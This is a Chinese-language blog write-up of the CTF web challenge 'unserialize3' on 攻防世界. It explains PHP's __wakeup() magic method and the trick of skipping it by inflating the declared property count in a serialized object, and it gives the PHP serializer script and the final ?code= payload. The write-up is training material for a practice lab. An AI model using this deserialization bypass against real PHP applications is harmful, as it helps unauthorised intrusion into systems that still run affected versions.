攻防世界: WEB——unserialize3
靶场内容
- 题目:反序列化——说明和反序列化有关
- 打开靶场:PHP代码——PHP反序列化
solution
这个靶场出来之后,显示出来是一个不完整的PHP代码——括号都没有完全闭合
开始分析:
- __wakeup()属于魔术方法,通常用于反序列化中。
unserialize()
反序列化函数会检查是否存在一个__wakeup()
方法。如果存在,则会先调用__wakeup
方法,预先准备对象需要的资源,比如连接数据库。- 这题到目前的代码是没有看见序列化函数的,所以我们
传递参数的时候是需要自己传递已经序列化的参数
,题目也给了提示,是传参给code - 使用一下代码可以产生序列化输出:
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a = new xctf();
echo(serialize($a));
?>
- 构造出对象的序列化输出:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
- 根据代码审计,我们构造出来序列化序列之后,不能给__wakeup()执行,否则会返回bad request参数,所以需要在序列化参数做些修改。
- 这里的漏洞就是:如果我们在序列化中说明的对象个数要比实际的对象个数要大,那么将不会执行__wakeup()这个方法
- 所以,我们将序列化输出的对象个数改成比1大的数就行了
- 比如:
?code=O:4:"xctf":3:{s:4:"flag";s:3:"111";}
flag就出来了
- 也就是证明,我们的序列化参数真实传递给了$code
本文来自博客园,作者:{Zeker62},转载请注明原文链接:https://www.cnblogs.com/Zeker62/p/15176752.html